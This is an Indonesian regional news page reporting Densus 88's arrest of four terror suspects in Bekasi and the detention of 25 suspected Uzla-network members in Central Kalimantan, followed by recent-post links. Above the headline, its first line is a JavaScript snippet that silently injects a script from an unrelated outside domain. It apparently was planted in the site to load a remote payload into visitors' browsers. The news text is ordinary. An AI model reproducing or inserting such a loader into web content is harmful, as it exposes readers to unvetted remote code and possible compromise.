(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Setelah Palangkarya dan Gunung Mas, Densus Tangkap 4 Terduga Teroris di Bekasi


JAKARTA, Detasemen Khusus 88 Antiteror Polri menangkap empat terduga teroris di wilayah Bekasi, Jawa Barat. Penangkapan dilakukan sejak Senin (10/6) malam hingga Selasa (11/6) dini hari.

Penangkapan tersebut dibenarkan Kepala Bagian Penerangan Umum (Kabagpenum) Polri Kombes Pol Asep Adi Saputra. “Informasi penangkapan tersebut benar dilakukan Densus 88,” kata Asep, Selasa (11/6) dilansir cnnindonesia.

Empat terduga teroris itu, yakni H alias Abu Zahra, AAS, I, dan KA alias Amin. H ditangkap di Jalan Lampiri Raya, Jatibening Baru, Pondok Gede, Bekasi pada Senin (10/6) malam.

Dari sana, pada Selasa dini hari Densus kemudian menangkap AAS, I, dan KA di sebuah rumah kontrakan nomor 43B RT 001 RW 02 Jatibening Baru, Pondok Gede, Bekasi.

Asep mengatakan bahwa saat ini Densus sedang memeriksa lebih lanjut terhadap empat terduga teroris yang ditangkap. Terutama untuk mengetahui sejauh mana kegiatan dan keterlibatan mereka dalam jaringan teror. “Saat ini masih dilakukan pendalaman terkait eksistensi dan jaringan mereka,” kata Asep.

Sebelumnya, Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Provinsi Kalimantan Tengah (Kalteng), Agus Pramono menyebutkan, ada 25 orang diduga teroris yang telah diamankan oleh aparat di Kota Palangkaraya dan Kabupaten Gunung Mas (Gumas) merupakan jaringan Uzla. Kelompok ini berasal dari asal NTB.

“Saat ini mereka telah diamankan oleh aparat, untuk yang di Palangkaraya jumlahnya sekitar 15 orang dan Gunung Mas 10 orang. Kelompok asal NTB ini merupakan jaringan Uzla” kata Agus Pramono di Palangkaraya, Selasa (11/6).

Dilansir Antaranews.com, Agus menjelaskan, mereka yang diamankan di Palangkaraya terdiri dari enam laki-laki dewasa, empat perempuan dewasa serta lima anak-anak. Sedangkan di Gumas, ia hanya menyebut sepuluh orang tanpa menjabarkannya.

Mereka yang telah diamankan itu, belum lama berada di wilayah Kalteng. Saat ini koordinasi terus dibangun pihaknya bersama kepolisian dan instansi terkait lainnya. “Kejadian ini hendaknya menjadi peringatan bagi semua pihak, untuk lebih waspada dan berhati-hati guna mencegah terjadinya hal-hal yang tidak diinginkan,” jelasnya.

Terlebih saat ini masih dalam suasana lebaran, biasanya pada arus balik banyak warga pendatang baru dari luar Kalteng yang akan datang dan mengadu nasibnya. Mulai dari mencari pekerjaan, hingga membuka usaha sendiri.(cnni)

Reporter: CNNI
Editor: Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

14 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

16 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

18 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.